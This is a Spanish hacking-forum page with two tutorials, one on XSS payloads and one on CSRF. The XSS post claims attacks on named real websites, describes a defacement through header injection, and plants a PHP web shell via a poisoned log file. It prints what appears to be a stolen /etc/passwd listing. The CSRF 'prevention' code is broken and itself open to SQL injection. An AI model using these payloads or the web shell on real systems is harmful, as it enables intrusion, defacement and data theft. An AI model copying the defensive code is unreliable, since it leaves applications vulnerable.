elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Nivel Web / XSS - Mas allá del alert(); By: Tec-n0x en: 14 Junio 2008, 03:17 am
Esto lo escribi yo ( Tec-n0x ) (  Y estas lineas no van en el paper ) ... Cualquier cosa pueden agregar al mail y yo mismo les digo que soy Securitykill  :D




[ 0x000 ] - Hello World

En esta paper vamos a hablar sobre XSS.

Pero iremos mas allá del alert();

¿Qué quiere decir esto?

Que no nos vamos a limitar a sacar el XSS simplemente con el tipico script:

<script>alert("XSS")</script>


[ 0x001 ] - Introducción

XSS, Cross Site Scripting



Una de las vulnerabilidades mas habituales hoy en día.

Muy Peligrosa como todas las demas, si la sabes aprovechar puedes hacer de todo con ella.

Recuerden lo que dicen:

Una vulnerabilidad es tan limitada como tu quieras que sea :)

Desde un Robo de Cookies Hasta un Deface.

Solo necesitas 2 cosas:

1)   Conocimiento
2)   Imaginación

Después, el límite es el cielo.



[ Caso 1 ] – Saliéndonos del Formulario.

Uno de los casos mas comunes =)

Codigo del formulario vulnerable:



Código:
<html>
<head>
<title>Formulario de Busqueda</title>
</head>
<body>
<center>
<?
if(isset($_POST[texto])){
$xss=$_POST[texto];

echo "<form name=\"xss\" method=\"POST\">
<h1>0 Resultados</h1><br><hr><br><input type=\"text\" value=\"$xss\" name=\"texto\"><br><br>
<input type=\"submit\" value=\"Buscar\"></form>";

} else {
echo "<form name=\"xss\" method=\"POST\">
<h1>Formulario de busqueda</h1><br><hr><br><input type=\"text\" value=\"\" name=\"texto\"><br><br>
<input type=\"submit\" value=\"Buscar\"></form>";
}
?>
</center>
</body>
</html>



Como vemos en el source, si buscamos algo, lo que buscamos queda incrustado en el form.

Esto es sencillo:

“>Hola – "><script>alert("XSS")</script>

Lo cual es logico ya que el formulario quedaría asi:

<input type=”text” value=””>



[ Caso 2 ] – Limitaciones en ciertos caracteres / Campos de textos Limitados

Otro caso muy común.

Me tope con este caso en la web:

http://www.puebla.gob.mx

No podía meter en el form nada de tipo:

Código:
“>$#-|/()=\*¿? 

Ni ningún carácter especial.

Busque un simple texto ( hola ) y parte de la url quedo así:

resultadosgeneral.jsp?palabra=hola&servicios=0

Asi que .. Hice algo así:

Código:
http://url/resultadosgeneral.jsp?palabra=”><script>alert(/OK/)</script>&servicios=0[b]

¡ Bingo !
[/b]



Esto nos sirve también para Campos de texto limitados.

Esto también lo podemos hacer con TAMPER DATA (ADDON De Firefox).



Modificando el contenido que se envía por POST.



[ Caso 3 ] – Jugando con un Textarea

Navegando pase por una web ( www.yourownbux.com ) a la cual ya le había encontrado un XSS en el formulario de busqueda.

Esta vez añadieron un formulario de contacto, que luce así:



Y Me dije .. Mmm.. ¿Por qué no?




Source del Textarea:
= = = = = = == = = = == = = = == = = = == = = = =

Código:
<textarea style="width:320px; height:120px" name=message></textarea>

= = = = = = == = = = == = = = == = = = == = = = =

Como pueden ver con un simple "> No se puede bypassear .. ¿Que podemos hacer?

Si introducimos un Texto .. Queda asi:

= = = = = = == = = = == = = = == = = = == = = = =

Código:
<textarea style="width:320px; height:120px" name=message>Mensaje
</textarea>

= = = = = = == = = = == = = = == = = = == = = = =

Mm ...

= = = = = = == = = = == = = = == = = = == = = = =

Código:
</textarea><script>alert(/PWNED/)</script>

= = = = = = == = = = == = = = == = = = == = = = =

¿Quedaría asi no? :

= = = = = = == = = = == = = = == = = = == = = = =

Código:
<textarea style="width:320px; height:120px" name=message>
</textarea>
<script>alert(/PWNED/)</script>
</textarea>
= = = = = = == = = = == = = = == = = = == = = = =






[ Caso 5 ] – Jugando con Los Headers

Bueno, esto es muy interesante, vamos a jugar con los headers para sacar XSS =) .

•   1 – User Agent

Source:

Código:
<?php

$nav = $_SERVER['HTTP_USER_AGENT'];

echo "<b><center><h1>Navegador:</h1><br><hr><br>$nav</center></b>";

?>


Header:

Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive


Y Si lo modificamos?


Host: localhost
User-Agent: No me acuerdo el nombre :$
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive




Y … User-Agent: <script>alert(/Yeah/)</script>





•   2 – Referer



Header:

Host: www.cual-es-mi-ip-publica.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://google.com.do
Cookie: ******

Y si lo modificamos?

Host: www.cual-es-mi-ip-publica.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: <script>alert(/Yeah/)</script>
Cookie: ******





•   3 - X-Forwarded-For

Bueno, en este caso no le daré mucha explicación, solo diré que me tope con un reto de Spoof ( no diré donde para no arruinar el reto ) .. Y Pues, jugando con los headers, el reto se pasaba de la siguiente manera:

Host: www.cual-es-mi-ip-publica.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://google.com
X-Forwarded-For: 127.0.0.1
Cookie: ******

Siendo 127.0.0.1 La IP A Spoofear.

Esto daba como output la IP .. En este caso sería: 127.0.0.1

Por lo tanto:

Host: *********
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://google.com
X-Forwarded-For: <script>alert(/Yeah/)</script>
Cookie: ******

Es igual a: XSS =)



[ Caso 6 ] – STR_Replace

¿Qué hacer cuando no contamos con un <script> para  un XSS?


Código:
<?php

if(isset($_GET[xss])){

$xss = $_GET['xss'];

$xss2 = str_replace("<script>", "", $xss);
$xss3 = str_replace("alert", "", $xss2);
echo "<form name=\"Hi\">
<input type=\"text\" value=\"$xss3\" size=\"30\">
</form>";

}

?>

Si intentamos poner:

<script>alert(Yeah)</script> .. Quedaría asi:

alert(Yeah)</script>

y por lo tanto, no se produce la alerta.

Pero obviamente vamos a tratar de ir mas alla.

Como vemos en el source, si buscamos “ aaa “ este es el resultado:

Código:
<input type="text" value="aaa" size="30">

Parecería un caso facil de “><script>alert(WTF)</script> pero no podemos usar <script> =)

Asi que, solo nos queda pensar … El script es COMPLETAMENTE VULNERABLE, las variables se imprimen tal cual se reciben ( excluyendo <script> )

Aquí vamos a usar los Eventos de javascript (http://www.w3schools.com/js/js_events.asp).

Usaremos: onblur

Si introducimos:

Onblur=alert(000) no se produce la alerta, ya que queda DENTRO Del form..

Por lo tanto .. Si introducimos:

“ hola

Sería asi:

<input type="text" value="" hola size=”30”>

Por lo tanto, el valor del form quedaría NULO =)

“ Onblur=alert(666) “

<input type="text" value="" “ Onblur=alert(666) “ size=”30”>

En este caso estaríamos añadiendo una propiedad o evento al input =) .. Provocando un XSS:





[ Caso 7 ] - Barackobama.com || [ C1c4Tr1Z ]

Para esta prueba voy a usar una que es conocida en estos momentos, se trata de el sitio oficial de uno de los candidatos a la presidencia de EEUU (se lo merecen).

La URL es http://my.barackobama.com/ y la sección que es vulnerable http://my.barackobama.com/page/s/fellowsapp (aunque hay otra sección que es exactamente igual: http://my.barackobama.com/page/s/).

Pero me dirán: Por que es vulnerable?

Porque la aplicación nos permite ingresar cualquier tipo de caracteres luego de la URL, sin necesitar ningún tipo de petición, formulario, etc.

Por ejemplo, si agregáramos:

http://my.barackobama.com/page/s/fellowsapp+foo@bar nos daría como resultado lo siguiente:



Y el pedazo de código

Código:
<div id=”content”>
<div id=”column1?><div id=”page_content”><h2>Invalid signup form requested: <strong>fellowsapp foo@bar</strong></h2>
</div>


Entonces como toda persona apresurada, probamos lo siguiente:
http://my.barackobama.com/page/s/fellowsapp”><script>alert(666)</script>
Pero lo que vemos en la fuente es lo siguiente:

Código:
<div id=”content”>
<div id=”column1?><div id=”page_content”><h2>Invalid signup form requested: <strong>fellowsapp\”><script>alert(666)<</strong></h2>
</div>

De aquí en mas solo queda PENSAR!. Las conclusiones que podemos llegar a sacar de esto son: la aplicación permite el ingreso de <tags> iniciales pero que no concluyan con la inyección, o sea </script> </iframe> etc. Porque borraría todo lo que sea ingresado despúes de la barra “/”. Y filtra las famosas “quotes” o comillas agregando una barra invertida, o sea ” -> \” o ‘ -> \’ .

Entonces, el método mas rápido que podríamos usar para resolver este problema serian <tags> que no necesiten la utilización de finales, por ejemplo <img> o <a href>, hay muchos mas solo hace falta el ingenio :-P. En este caso opte por el mas simple, <img>. La forma que utilice es la siguiente, que automáticamente la transforma en un vector XSS:
<img src=. onerror=alert(666)>

Para el que no lo entendió paso a explicarlo. Se crea el tag <img> con una fuente o “src” sin dirección o una dirección errónea, en este caso “.” . En ese momento explico que al producirse un error al cargarse la imagen, que estoy 100% seguro que va a ocurrir por la src especificada, se llebe acabo una acción usando “onerror”. Entonces digo que en caso de error se envie una alerta, o sea “alert(666)”. Para esa instancia no hay necesidad de cerrar ningún tag HTML dando por concluido la alerta.





[ Caso 8 ] – HTMLEntities Bypass [ UTF-7 ]
C1c4Tr1z

Voy a pasar a dar una explicación rápida , Seguramente habrán visto en alguna pagina que se podría realizar un "bypass" de htmlentities, pero es cierto en parte ya que solo funciona en codificación UTF-7.. Según Wikipedia, la codificación UTF-7, es descrita de la siguiente manera:

UTF-7 (7-bit Unicode Transformation Format) es una codificación de caracteres de longitud variable que fue propuesta para representar texto codificado con Unicode usando un flujo de caracteres ASCII, para ser usado, por ejemplo en mensajes de correo electrónico de Internet.

Aunque ya muchas webs utilizan la codificación UTF-8 al pasar htmlentities o todavía utilizan caracteres UTF-7, es posible que se pueda hacer un "bypass" de la función htmlentities().

Un pequeño código para realizar pasar un string a UTF-7 puede ser el siguiente:

Código:
<?
$x=$_GET['x'];
$x=mb_convert_encoding($x, 'UTF-7');
echo $x;
?>


Entonces, si queremos pasar "<string>alert(/XSS/)</script>" dandonos como resultado "+ADw-string+AD4-alert(/XSS/)+ADw-/script+AD4-".
Una pequeña prueba de concepto puede ser, usando el mismo código pero agregando:

Código:
<?
header('Content-Type: text/html; charset=UTF-7');
$x=$_GET['x'];
$x=mb_convert_encoding($x, 'UTF-7');
echo htmlentities($x);
?>

Y aun así recibiríamos un gran y enorme XSS de alerta. Para alguno que sea escéptico, Google.com era vulnerable a este ataque cuando lanzaba la pagina 404 (Not Found).



[ Caso 9 ] – Defaceando una web Mediante XSS en Los Headers

Bueno, para los que leyeron el Caso 5, aquí les voy a demostrar como le hice un deface a una web mediante XSS en los headers.

La página guardaba El Navegador / IP de cada visita.

Yo supongo que el source .. Era algo asi:

Código:
<html>
<body>
<center><font size=”5” face=”verdana” color=”black”>Bienvenido</font>

<?php

$ip = $_SERVER['REMOTE_ADDR'];
$nav = $_SERVER['HTTP_USER_AGENT'];

$file = 'logs.txt';
$fp = fopen($file, "a");
$write = "\nIP: ".$ip."\n"."Navegador: ".$nav."\n"."=========================================================";
fwrite($fp, $string);
fclose($fp);

?>
</body>
</html>

Y si jugamos con los headers:

Host: *******************************
User-Agent: “><font size=”50”>0wn3d</font>
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Si, Casi un deface =)


Host: *******************
User-Agent: <script>document.documentElement.innerHTML=”So, Fucking PWNED”</script>
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive


Solo tenemos que usar la imaginación, podemos usar iframes y todo lo que se nos ocurra.


Deface a un PHP !


Si, si, por increíble que parezca, me tope con una web en la que se guardaban todos los datos del visitante en un archivo llamado “ Log.php “

El header me quedo asi:

Host: ********************
User-Agent: <? if(isset($_GET['cmd'])) { $x=$_GET['cmd']; system("$x"); } ?>
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Ya, ahí solo tendríamos que usar la imaginación Para sacar lo que quisieramos / Subir shell o lo que sea =)

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash nscd:x:28:28:NSCD Daemon:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin squid:x:23:23::/var/spool/squid:/sbin/nologin webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin mysql:x:100:101:MySQL server:/var/lib/mysql:/bin/bash mailman:x:32001:32001::/usr/local/cpanel/3rdparty/mailman:/bin/bash cpanel:x:32002:32003::/usr/local/cpanel:/bin/bash morozov3:x:32003:32004::/home/morozov3:/usr/local/cpanel/bin/noshell



[ 0x002 ] – Parcheando el XSS

Bueno, antes de concluir el paper, vamos a ver como parchear el XSS.

Usaremos la función: htmlspecialchars.

Esta función Convierte caracteres especiales en entidades de HTML.

¿Cómo Usarla?

Sencillo.

Por Ejemplo, recibimos un valor en x y lo almacenamos en la variable y:

Código:
$y = $_GET[‘x’];

Pero, en vez de imprimirlo tal cual se recibe … Le aplicamos la función a la variable y:

Código:
htmlspecialchars("$y", ENT_QUOTES);

Y Listo =)

También podemos usar htmlentities ( Ojo con el UTF-7 { Aunque hoy en dia el 90% de las webs utilizan UTF-8 } ) :

Código:
htmlentities($y);



[ 0x003 ] – Conclusión

Bueno, espero que hayan entendido la finalidad del paper, es importante no limitarnos simplemente a explotar una vulnerabilidad de la manera mas simple.

Como dije anteriormente “ Una vulnerabilidad es tan limitada como quieras que sea “, como dije, solo se necesita imaginación y el limite es el cielo.



Escrito Por: Tec-n0x
Contacto: Tec-n0x [ @ ] Hotmail [ . ] com

Gr33tz Especiales: C1c4Tr1Z

2  Seguridad Informática / Nivel Web / CSRF / XSRF - Cross Site Request Forgery en: 5 Abril 2008, 20:16 pm
[ + ] Información del Paper [ + ]

Cross Site Request Forgery [ CSRF / XSRF ]
Autor: SecurityKill  ;)
Fecha: 03/4/2008
Contacto: SecurityKill [ at ] gmail [ dot ] com

======================================

[ + ] Indice [ + ]

= > 0x001 < = => Introducción
= > 0x002 < = => Como funciona el CSRF / Pequeño ejemplo
= > 0x003 < = => Codeando una Aplicación Vulnerable
= > 0x004 < = => Evitando el CSRF
= > 0x005 < = => Despedida

======================================

[ + ] Introducción [ + ]

Bueno, en este paper vamos a hablar sobre lo que es CSRF / XSRF [ Cross Site Request Forgery ] .

Intentare explicar todo lo posible sobre esta vulnerabilidad y lo mas importante .. Como prevenir
estos ataques.

Empezemos .. =)

======================================

[ + ] Como funciona el CSRF [ + ]

Bueno, en el CSRF el atacante trata de " Forzar " algún codigo malicioso aprovechandose de una sesión
abierta o no caducada de la victima para asi lograr que la victima haga lo que nosotros queramos.

[ + ] Pequeño Ejemplo [ + ]

Bueno, digamos que estamos logueados en un foro .. y un usuario nos manda un mensaje privado diciendonos algo como :

" Hola, mira que buen tutorial de C++ .. [ Clic Aqui < = URL Maliciosa ] "

Y digamos que cuando el usuario clickee en el link lo va llevar a una pagina mas o menos como esta:

http://site.com/foro/index.php?action=logout

Esto cerraría la sesión del usuario .. pero que pasaría si en vez de cerrar la sesión del usuario pudieramos cambiar alguno de sus datos como su email / password ..

======================================

[ + ] Codeando una aplicación Vulnerable [ + ]

Esta aplicación será una cuenta .. Digamos que es un hosting de imagenes llamado " MyHosting " ... Y si queremos cambiar nuestros datos ( Email / password, etc ) .. Tenemos un formulario como el siguiente:

// Index.php

Código:
     <form method="POST" action="datos.php" name="datos">
          Usuario <input type="text" name="usuario">
          Email <input type="text" name="email">
          Contraseña <input type="text" name="contraseña">
          Email alternativo: <input type="text" name="emailalternativo">
         <input type="submit" name="submit" value="cambiardatos">
     </form>

// Fin Index.php

===========================================

// Datos.php

Código:
<?
     session_start();
     if(isset($_REQUEST['usuario']))
          $usuario = $_REQUEST['usuario'];
     else
          die("Rellene el campo Usuario");
     if(isset($_REQUEST['email']))
          $email = $_REQUEST['email];
     else
          die("Rellene el campo email");
     if(isset($_REQUEST['contraseña']))
          $contraseña = $_REQUEST['contraseña];
     else
          die("Rellene el campo Contraseña");
     if(isset($_REQUEST['emailalternativo']))
          $emailalternativo = $_REQUEST['emailalternativo];
     else
          die("Falta el email alternativo");

// Digamos que esta funcion llamada CambiarDatos
// es la que actualiza los datos de nuestra querida cuenta premium en MyHosting

    CambiarDatos($usuario, $email, $contraseña, $emailalternativo);
     
     ?>   

Entonces, a la hora de cambiar nuestros datos .. tendriamos una url mas o menos como esta:

http://http://myhosting.com/Datos.php.php?usuario=SecurityKill&email=mymail@gmail.com&
contraseña=mypass123&emailalternativo=mymail2@gmail.com

Entonces, aqui esta el peligro ... Que pasa si estamos logueados en la página .. y un usuario nos manda un link y lo vemos .. que contiene un codigo como este:

Código:
<html>
<head>
<title>Hi</title>
</head>
<body>
<img src="http://http://myhosting.com/Datos.php.php?usuario=SecurityKill&email=atackermail@gmail.com&contraseña=atackerpassword&emailalternativo=atackermail2@gmail.com">
</body
</html>

Si el usuario estuviera logueado en Myhosting.com y la victima viera esta página .. ¿Que pasaría? Se enviaría una petición HTTP a MyHosting y se cambiarían los datos del usuario ..

===========================================

[ + ] Evitando el CSRF [ + ]

Bueno, vamos a usar como ejemplo MyHosting ..

Tenemos el index.php ( Le he añadido un campo llamado "actualcontraseña " )

Código:

     <form method="POST" action="datos.php" name="datos">
          Usuario <input type="text" name="usuario">
          Email <input type="text" name="email">
          Contraseña <input type="text" name="contraseña">
          Email alternativo: <input type="text" name="emailalternativo">
  Contraseña Actual: <input type="text" name="actualcontraseña">
         <input type="submit" name="submit" value="cambiardatos">
     </form>

Un archivo llamado " config.php " que va a conectar a la bd:

Código:
<?php

$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?>

Y El archivo " datos.php " pero .. modificado:

Código:
<?

include('config.php');

     session_start();
     if(isset($_REQUEST['usuario']))
          $usuario = $_REQUEST['usuario'];
     else
          die("Rellene el campo Usuario");
     if(isset($_REQUEST['email']))
          $email = $_REQUEST['email];
     else
          die("Rellene el campo email");
     if(isset($_REQUEST['contraseña']))
          $contraseña = $_REQUEST['contraseña];
     else
          die("Rellene el campo Contraseña");
     if(isset($_REQUEST['emailalternativo']))
          $emailalternativo = $_REQUEST['emailalternativo];
     else
          die("Falta el email alternativo");
    if(isset($_REQUEST['actualcontraseña']))
          $actualcontraseña = $_REQUEST['actualcontraseña];
     else
          die("Especifique la contraseña");

if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";

}else{

$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{

    CambiarDatos($usuario, $email, $contraseña, $emailalternativo);
     
     ?>   

Lo que hariamos en este caso sería seleccionar Desde la BD la contraseña actual en la tabla myhosting_usuarios desde el campo "  contraseñaa " si es diferente .. No se cambian los datos, si la contraseña coincide .. se realiza la operación .. en este caso .. hacer un update a la tabla " myhosting_usuarios " cambiando los datos del user.

Obviamente si quieren probar code en localhost van a tener que crear una bd y modificar
la función que cambia los datos del user ...

Pueden usar esta consulta SQL ..

Código:
CREATE TABLE `myhosting_usuarios` (
  `id` int(11) NOT NULL auto_increment,
  `usuario` varchar(15) NOT NULL,
  `email` varchar(15) NOT NULL,
  `emailalternativo` varchar(15) NOT NULL,
  `contraseña` varchar(150) NOT NULL,
  `contraseñaa` varchar(150) NOT NULL,
  KEY `id` (`id`)
) ENGINE=MyISAM;

INSERT INTO `myhosting_usuarios` VALUES (1, 'SecurityKill', 'mymail@gmail.com', 'mymail2@gmail.com', 'mypass', 'mypass');


Otra forma de prevenir estos ataques .. sería usando CAPTCHA .. Aqui un codigo:

Código:
<?php 
/***************************************************************************
*
* Filename : image.php
* Began : 2005/04/04
* Modified :
* Copyright : (c) 2005 xkare.com
* Version : 1.0
* Written by : Mert ÖÐÜT in istanbul / TURKEY
*
* You are encouraged to redistribute and / or modify this program under the terms of
* the GNU General Public License as published by the Free Software Foundation
* (www.fsf.org); any version as from version 2 of the License.
*
***************************************************************************/
session_start();
function strrand($length)
{
$str = "";

while(strlen($str)<$length){
$random=rand(48,122);
if( ($random>47 && $random<58) ){
$str.=chr($random);
}

}

return $str;
}

$text = $_SESSION['string']=strrand(5);
$img_number = imagecreate(47,17);
$backcolor = imagecolorallocate($img_number,244,244,244);
$textcolor = imagecolorallocate($img_number,0,0,0);

imagefill($img_number,0,0,$backcolor);

imagestring($img_number,50,1,1,$text,$textcolor);

header("Content-type: image/png");
imagejpeg($img_number);
?>

Creamos un campo de texto llamado code

Código:
<input type='text' size='5' maxlength='5' name='code'><img src="image.php">

Y Comprobamos que el codigo sea valido ..

Código:
if($_POST['code']!=$_SESSION['string']){ 
echo "Error en el codigo de seguridad "; exit();
}

===========================================

[ + ] Despedida [ + ]

Bueno, espero que les haya servido este paper sobre CSRF =)

Si van a publicarlo en otro foro / blog pongan la fuente y autor =)

Saludos, SecurityKill  ;) .
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines